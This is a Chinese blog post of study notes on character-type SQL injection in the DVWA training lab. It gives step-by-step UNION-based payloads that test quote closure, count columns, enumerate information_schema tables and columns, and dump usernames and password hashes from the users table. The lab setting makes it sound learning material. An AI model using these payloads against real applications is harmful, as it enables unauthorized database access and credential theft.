DVWA学习Sql注入笔记(字符型sql注入)

一.判断是否存在注入,注入是字符型还是数字型
当我们在1之后加了一个引号,则会导致单引号数目不平衡,如何让引号闭合?

(方法1)我们在原来的基础上再继续输入多一个引号,也就是“1””。
这时候我们看一下查询语句

select firstname,surname from users where id = '1''';


这时候得讲一个mysql的语法
在where语句中,当出现多个字符串的时候,“=”将会选择优先级最高的一个,优先级是从左到右,依次降低的!也就是离“=”最近的一个。
我们来看几个例子。
第一个是和我们上面类似的sql查询语句
select * from users where user_id = ‘1”’;
第二个是来阐明我们这个优先级的,
select * from users where user_id = ‘1”2’;
可以看到,出来的结果还是和user_id=1一样。
我们再看一个长长的,
select * from users where user_id = ‘1”2”abc”efg’;
事实胜于雄辩,可以看到结果还是和上面的一样。

这里写图片描述

(方法2)第二种方法是使用“#”符号来注释后面的单引号
到时查询语句将会变成这样

select firstname,surname from users where id = '1'#';

(方法3)第三种方法是使用“– ”,这里注意了“–”后面有一个空格。在url当中,我们需要使用“+”来代替“–”后面的空格。
到时查询语句将会变成这样

select firstname,surname from users where id = '1'-- ';

我们回到我们的测试页面。发现出来的结果和输入1一样。
到这里我们可以知道了
[1]漏洞的参数是“id”
[2]漏洞的类型是字符型


二.猜解SQL查询语句中的字段数
三.确定显示的字段顺序
(方法1)分析字段数的原因是我们之后需要用union select语句获得我们需要的敏感数据。
构造的payload如下:

1' order by 1#
1' order by 2#
1' order by 3#

当输入到3的时候,发现它报错了。也就是字段数为2。

(方法2)第二种方法就是直接用union select来猜测字段数,因为当字段数不对应的时候,它也是会发生报错的!

1' union select 1#
1' union select 1,2#
1' union select 1,2,3#

可以发现,当union select 1,2的时候没有报错,也就是字段数为2。同时,我们也应该注意到,好像返回的内容多了三条数据,这是啥呢?
这里写图片描述
这就是我们我们union select出来的数据了。我们获取数据的信息,就通过将1,2换成数据的信息,这样通过查看页面,我们便可以获得了!



四.获取当前数据库
字段数为2,也就是select出来的数据列有两列。也就是我们可以通过union select出两个数据。好了我们来获得关于我们数据库的信息吧!

获取当前数据库名字,当前用户名

1' union select database(),user()#

这里解释一下,database()将会返回当前网站所使用的数据库名字,user()将会返回进行当前查询的用户名。

好的,这里我们看到
当前数据库为:dvwa
当前用户名:root@localhost
这里写图片描述
类似的函数:version() 获取当前数据库版本

Tips:有时候,后面的select语句会限制输出的行数,通过limit 1,所以我们一般来说,都会让原数据库查询无效,也就是输入无效的id。
如下:

-1' union select database(),user()#

这样就只会返回我们的数据了。



五.获取数据库中的表

mysql有没有类似新华的字典的东东呢?
它的这本新华字典叫做information_schema,是一个包含了mysql数据库所有信息的新华字典,有啥关于数据库的信息不知道问它没问题!它本质上还是一个database,存着其他各个数据的信息。
在其中,有一个表长成这样tables。有一个表长这样columns。
是不是有点感觉了?
是的,tables这个表存的是关于数据库中所有表的信息,他有个字段叫table_name,还有个字段叫做table_schema。其中table_name是表名,table_schema表示的表所在的数据库。
对于columns,它有column_name,table_schema,table_name

回想一下,我们拥有的消息是数据库名。也就是说我们可以构造这样的payload

-1' union select table_name,2 
from information_schema.tables 
where table_schema= 'dvwa'#

你是不是想问,information_schema.tables是啥呢?
information_schema不就使我们的新华字典咯!这里我们使用一种语法,
“数据名.表名”
tables就相当于我们新华字典的目录,table_name是tables里面的字段。语句的意思就是,这里是一本新华字典帮我把数据库名为”dvwa”这个偏旁部首的字(表名)找出来。
这里写图片描述


六.获取表中的字段名
那之后呢?不是说还有一个columns表么?
那我们需要什么?需要table_name以及table_schema
那我们查什么呢?column_name
这次我们的构造的payload如下

-1' union select column_name,2 
from information_schema.columns 
where table_schema= 'dvwa' and table_name= 'users'#

这里说一下,倘若不指定数据库名为’dvwa’,若是其他数据里面也存在users表的话,则会有很多混淆的数据。
这里写图片描述

又来了,好多数据呀!
验证user,password吧!两个字段刚刚好!
好的,我们再次修改payload

-1' union select user,password from users#

这里写图片描述
就可以得到密码了。

阅读更多
版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/dyw_666666/article/details/81592219
个人分类: sql注入 DVWA
上一篇DVWA学习Sql注入笔记(数字型sql注入)
下一篇TP(thinkPHP)学习方法
想对作者说点什么? 我来说一句

没有更多推荐了,返回首页

关闭
关闭
关闭